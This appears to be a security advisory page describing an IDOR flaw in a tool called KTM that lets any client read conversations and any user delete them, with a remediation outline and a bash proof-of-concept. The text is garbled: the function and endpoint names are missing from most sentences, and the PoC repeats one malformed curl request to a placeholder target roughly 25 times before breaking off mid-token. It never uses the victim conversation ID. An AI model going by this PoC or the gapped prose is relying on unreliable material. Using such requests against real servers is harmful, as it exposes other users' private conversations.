KTM Cross-User Conversation IDOR Vulnerability, PoC, and Ownership Check Fix

Vulnerability Summary: Cross-User Conversation IDOR Overview Type: IDOR (Insecure Direct Object Reference) Impact: - Unauthenticated Read: Any HTTP client (without Cookies or Tokens) can read the complete chat history of any conversation via . - Authenticated Delete: Any authenticated user (regardless of ownership) can delete any conversation via . Root Cause: Functions such as , , , and lack ownership validation (they do not check whether matches ). Scope of Impact Affected Components: Conversation management functions ( , , , ) located in . Affected API: The POST endpoint (registered by ), which has no authentication requirement by default. Data Leakage: The complete message history of any conversation can be read (e.g., the contents of the "Admin Top Secret" conversation are leaked). Remediation Add ownership validation in functions such as , , , and : - Before returning or modifying a conversation, verify that equals . - If does not match, return an empty result or raise a permission error. Reference Implementation: The function (in ) correctly validates and can serve as a remediation template. PoC Code ```bash Step 1: Read any conversation (no authentication required) SESSION=$(python3 -c "import uuid; print(uuid.uuid4().hex)") TARGET_CONV_ID=victim-conversation-uuid curl -s -X POST http://TARGET:7868/queue/join \ -d '{"vite_index": 31, "data":[("todo", ["${SESSION}"], null], "session_hash": "${SESSION}"}' sleep 1 curl -s -X POST http://TARGET:7868/queue/join \ -d '{"vite_index": 31, "data":[("todo", ["${SESSION}"], null], "session_hash": "${SESSION}"}' sleep 1 curl -s -X POST http://TARGET:7868/queue/join \ -d '{"vite_index": 31, "data":[("todo", ["${SESSION}"], null], "session_hash": "${SESSION}"}' sleep 1 curl -s -X POST http://TARGET:7868/queue/join \ -d '{"vite_index": 31, "data":[("todo", ["${SESSION}"], null], "session_hash": "${SESSION}"}' sleep 1 curl -s -X POST http://TARGET:7868/queue/join \ -d '{"vite_index": 31, "data":[("todo", ["${SESSION}"], null], "session_hash": "${SESSION}"}' sleep 1 curl -s -X POST http://TARGET:7868/queue/join \ -d '{"vite_index": 31, "data":[("todo", ["${SESSION}"], null], "session_hash": "${SESSION}"}' sleep 1 curl -s -X POST http://TARGET:7868/queue/join \ -d '{"vite_index": 31, "data":[("todo", ["${SESSION}"], null], "session_hash": "${SESSION}"}' sleep 1 curl -s -X POST http://TARGET:7868/queue/join \ -d '{"vite_index": 31, "data":[("todo", ["${SESSION}"], null], "session_hash": "${SESSION}"}' sleep 1 curl -s -X POST http://TARGET:7868/queue/join \ -d '{"vite_index": 31, "data":[("todo", ["${SESSION}"], null], "session_hash": "${SESSION}"}' sleep 1 curl -s -X POST http://TARGET:7868/queue/join \ -d '{"vite_index": 31, "data":[("todo", ["${SESSION}"], null], "session_hash": "${SESSION}"}' sleep 1 curl -s -X POST http://TARGET:7868/queue/join \ -d '{"vite_index": 31, "data":[("todo", ["${SESSION}"], null], "session_hash": "${SESSION}"}' sleep 1 curl -s -X POST http://TARGET:7868/queue/join \ -d '{"vite_index": 31, "data":[("todo", ["${SESSION}"], null], "session_hash": "${SESSION}"}' sleep 1 curl -s -X POST http://TARGET:7868/queue/join \ -d '{"vite_index": 31, "data":[("todo", ["${SESSION}"], null], "session_hash": "${SESSION}"}' sleep 1 curl -s -X POST http://TARGET:7868/queue/join \ -d '{"vite_index": 31, "data":[("todo", ["${SESSION}"], null], "session_hash": "${SESSION}"}' sleep 1 curl -s -X POST http://TARGET:7868/queue/join \ -d '{"vite_index": 31, "data":[("todo", ["${SESSION}"], null], "session_hash": "${SESSION}"}' sleep 1 curl -s -X POST http://TARGET:7868/queue/join \ -d '{"vite_index": 31, "data":[("todo", ["${SESSION}"], null], "session_hash": "${SESSION}"}' sleep 1 curl -s -X POST http://TARGET:7868/queue/join \ -d '{"vite_index": 31, "data":[("todo", ["${SESSION}"], null], "session_hash": "${SESSION}"}' sleep 1 curl -s -X POST http://TARGET:7868/queue/join \ -d '{"vite_index": 31, "data":[("todo", ["${SESSION}"], null], "session_hash": "${SESSION}"}' sleep 1 curl -s -X POST http://TARGET:7868/queue/join \ -d '{"vite_index": 31, "data":[("todo", ["${SESSION}"], null], "session_hash": "${SESSION}"}' sleep 1 curl -s -X POST http://TARGET:7868/queue/join \ -d '{"vite_index": 31, "data":[("todo", ["${SESSION}"], null], "session_hash": "${SESSION}"}' sleep 1 curl -s -X POST http://TARGET:7868/queue/join \ -d '{"vite_index": 31, "data":[("todo", ["${SESSION}"], null], "session_hash": "${SESSION}"}' sleep 1 curl -s -X POST http://TARGET:7868/queue/join \ -d '{"vite_index": 31, "data":[("todo", ["${SESSION}"], null], "session_hash": "${SESSION}"}' sleep 1 curl -s -X POST http://TARGET:7868/queue/join \ -d '{"vite_index": 31, "data":[("todo", ["${SESSION}"], null], "session_hash": "${SESSION}"}' sleep 1 curl -s -X POST http://TARGET:7868/queue/join \ -d '{"vite_index": 31, "data":[("todo", ["${SESSION}"], null], "session_hash": "${SESSION}"}' sleep 1 curl -s -X POST http://TARGET:7868/queue/join \ -d '{"vite_index": 31, "data":[("todo", ["${SESSION}"], nul

Goal Reached Thanks to every supporter — we hit 100%!

KTM Cross-User Conversation IDOR Vulnerability, PoC, and Ownership Check Fix

More from this source